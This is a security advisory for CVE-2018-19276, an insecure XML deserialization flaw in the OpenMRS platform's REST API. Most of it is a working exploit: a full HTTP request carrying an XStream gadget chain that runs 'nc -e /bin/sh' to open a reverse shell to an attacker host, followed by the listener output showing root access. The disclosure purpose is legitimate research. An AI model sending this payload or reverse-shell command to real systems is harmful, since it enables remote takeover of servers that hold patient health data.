Insecure Object Deserialization on the OpenMRS Platform
Vulnerability Details
CVE ID: CVE-2018-19276

Access Vector: Remote

Security Risk: Critical

Vulnerability: CWE-502

CVSS Base Score: 10.0 

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

JAVA 8 ENVIRONMENT
By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability:


POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1
Host: HOST
Content-Type: text/xml

<map>
 <entry>
   <jdk.nashorn.internal.objects.NativeString>
     <flags>0</flags>
     <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
       <dataHandler>
         <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
           <is class="javax.crypto.CipherInputStream">
             <cipher class="javax.crypto.NullCipher">
               <initialized>false</initialized>
               <opmode>0</opmode>
               <serviceIterator class="javax.imageio.spi.FilterIterator">
                 <iter class="javax.imageio.spi.FilterIterator">
                   <iter class="java.util.Collections$EmptyIterator"/>
                   <next class="java.lang.ProcessBuilder">
                     <command>
                       <string>/bin/sh</string>
                       <string>-c</string>
                       <string>nc -e /bin/sh 172.16.32.3 8000</string>
                     </command>
                     <redirectErrorStream>false</redirectErrorStream>
                   </next>
                 </iter>
                 <filter class="javax.imageio.ImageIO$ContainsFilter">
                   <method>
                     <class>java.lang.ProcessBuilder</class>
                     <name>start</name>
                     <parameter-types/>
                   </method>
                   <name>foo</name>
                 </filter>
                 <next class="string">foo</next>
               </serviceIterator>
               <lock/>
             </cipher>
             <input class="java.lang.ProcessBuilder$NullInputStream"/>
             <ibuffer></ibuffer>
             <done>false</done>
             <ostart>0</ostart>
             <ofinish>0</ofinish>
             <closed>false</closed>
           </is>
           <consumed>false</consumed>
         </dataSource>
         <transferFlavors/>
       </dataHandler>
       <dataLen>0</dataLen>
     </value>
   </jdk.nashorn.internal.objects.NativeString>
   <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
 </entry>
 <entry>
   <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
 </entry>

The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:

~ » nc -vlp 8000
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 172.16.32.2.
Ncat: Connection from 172.16.32.2:52434.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/usr/local/tomcat


The response should contain an error message similar to the one below:


{"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service
…omitted for brevity…


The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access.